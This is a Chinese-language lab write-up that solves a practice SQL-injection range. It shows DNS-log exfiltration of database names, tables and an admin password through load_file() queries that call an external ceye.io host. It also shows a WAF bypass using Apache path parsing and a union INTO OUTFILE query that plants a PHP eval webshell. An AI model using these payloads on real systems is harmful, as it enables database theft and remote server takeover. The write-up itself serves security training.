DNS-log 注入 (zkaq靶场)
知识点:
1.dns-log注入,是用sql语句的load_file()函数[读取文件]来进行的,在高版本的mysql是默认禁用这个函数的,所以要在mysql.ini加入secure_file_priv=来解除限制。
2.同一局域网通过UNC路径进行文件访问,利用的是smb【文件共享服务】,其支持域名和ip。
3.apache解析特性:1.php/1.txt会认为1.php是文件夹,1.txt是文件内容,但是因为找不到这个文件夹,所以会把这一坨当做1.php来解决【绕waf】
4.into outfile函数,into dumpfile函数
首先看靶场
当我传参?id=1 and 1=1 时,会被拦截
尝试绕过:
1:?id=1 and 1 like 1[失败]
2:?id=1 and -1=-1[成功] 存在注入点
3:利用apache解析特性 xx.php/1.txt?id=1 and 1=1 [成功]
这里获得数据有两种方法
1.dns-log注入
2.上传一句话木马获得shell
1. dns-log注入
我使用的dns-log平台为:ceye.io
payload:?id=1 and load_file(concat("//",database(),".uki4y9.ceye.io/abc"))
查看dns-log,得到库名
然后用相同的方法来获得表名和字段名
payload:xx.php/1.txt?id=1 and load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".uki4y9.ceye.io/abc"))
得到第一个表:
同理可得其他的表,因为题目里提示flag在admin表里,所以不再继续注入
然后来获得字段名
payload:xx.php/1.txt?id=1 and load_file(concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),".uki4y9.ceye.io/abc"))
得到第一个字段:
同理得到其他字段:
爆了三个就不爆了
然后直接查询就行了
盲猜在password表里
payload:xx.php/1.txt?id=1 and load_file(concat("//",(select password from admin limit 0,1),".uki4y9.ceye.io/abc"))
得到flag:
2.上传一句话木马获得shell
利用的是into outfile或者into dumpfile函数来进行上传一句话木马
into outfile会把查询的东西导出到一个文件中
本地看看效果:
先在mysql.ini加入
然后
在D盘根目录可以看到
然后利用这个语句来进行shell上传
但因为是用联合查询,所以要先判断字段数,最后判断出有2个字段(用order by)
然后进行注入
注意!!!:但是这里有个非常硬性的条件,就是你在写入的时候,你要知道文件保存的路径,且通过网站能够访问到
因为某某原因,我知道这个靶场的网站路径,所以
payload:xx.php/1.txt?id=1 union select '<?php eval($_REQUEST[8]);?>',1 into outfile 'C:/phpStudy/www/2.php'
可以得到,文件上传成功
然后利用解析特性,得到shell,然后利用蚁剑或者菜刀连接就行
然后得到flag,但是,你也要知道数据库的密码,因为这里是弱密码,所以我能够直接连接